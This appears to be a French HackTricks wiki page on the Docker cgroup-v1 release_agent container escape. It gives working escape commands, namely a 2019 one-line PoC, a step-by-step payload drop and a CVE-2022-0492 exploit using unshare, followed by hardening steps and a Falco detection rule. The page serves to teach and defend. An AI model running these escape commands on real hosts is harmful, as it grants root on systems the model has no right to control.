Docker release_agent cgroups escape
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Pour plus de détails, référez-vous au post de blog original. Ceci est juste un résumé :
PoC classique (2019)
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Le PoC abuse de la fonctionnalité cgroup-v1 release_agent
: lorsque la dernière tâche d'un cgroup ayant notify_on_release=1
se termine, le noyau (dans les espaces de noms initiaux sur l'hôte) exécute le programme dont le chemin est stocké dans le fichier writable release_agent
. Étant donné que cette exécution se fait avec des privilèges root complets sur l'hôte, obtenir un accès en écriture au fichier suffit pour une évasion de conteneur.
Bref aperçu lisible
- Préparer un nouveau cgroup
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ou –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
- Pointer
release_agent
vers un script contrôlé par l'attaquant sur l'hôte
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- Déposer le payload
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
- Déclencher le notifier
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # s'ajouter et sortir immédiatement
cat /output # contient maintenant les processus de l'hôte
Vulnérabilité du noyau 2022 – CVE-2022-0492
En février 2022, Yiqi Sun et Kevin Wang ont découvert que le noyau ne vérifiait pas les capacités lorsqu'un processus écrivait dans release_agent
dans cgroup-v1 (fonction cgroup_release_agent_write
).
Effectivement, tout processus capable de monter une hiérarchie cgroup (par exemple via unshare -UrC
) pouvait écrire un chemin arbitraire dans release_agent
sans CAP_SYS_ADMIN
dans l'espace de noms utilisateur initial. Sur un conteneur Docker/Kubernetes exécuté en tant que root avec une configuration par défaut, cela permettait :
- une élévation de privilèges vers root sur l'hôte ; ↗
- une évasion de conteneur sans que le conteneur soit privilégié.
Le défaut a été attribué à CVE-2022-0492 (CVSS 7.8 / Élevé) et corrigé dans les versions de noyau suivantes (et toutes les versions ultérieures) :
- 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Commit de patch : 1e85af15da28 "cgroup: Fix permission checking"
.
Exploit minimal à l'intérieur d'un conteneur
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
Si le noyau est vulnérable, le binaire busybox du hôte s'exécute avec un accès root complet.
Durcissement & Atténuations
- Mettre à jour le noyau (≥ versions supérieures). Le correctif nécessite maintenant
CAP_SYS_ADMIN
dans le namespace utilisateur initial pour écrire dansrelease_agent
. - Préférer cgroup-v2 – la hiérarchie unifiée a complètement supprimé la fonctionnalité
release_agent
, éliminant cette classe d'évasions. - Désactiver les namespaces utilisateurs non privilégiés sur les hôtes qui n'en ont pas besoin :
sysctl -w kernel.unprivileged_userns_clone=0
- Contrôle d'accès obligatoire : Les politiques AppArmor/SELinux qui interdisent
mount
,openat
sur/sys/fs/cgroup/**/release_agent
, ou qui supprimentCAP_SYS_ADMIN
, arrêtent la technique même sur des noyaux vulnérables. - Masque de liaison en lecture seule pour tous les fichiers
release_agent
(exemple de script Palo Alto) :
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
Détection à l'exécution
Falco
expédie une règle intégrée depuis la v0.32 :
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
La règle se déclenche lors de toute tentative d'écriture sur */release_agent
depuis un processus à l'intérieur d'un conteneur qui détient encore CAP_SYS_ADMIN
.
Références
- Unit 42 – CVE-2022-0492: container escape via cgroups – analyse détaillée et script d'atténuation.
- Sysdig Falco rule & detection guide
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.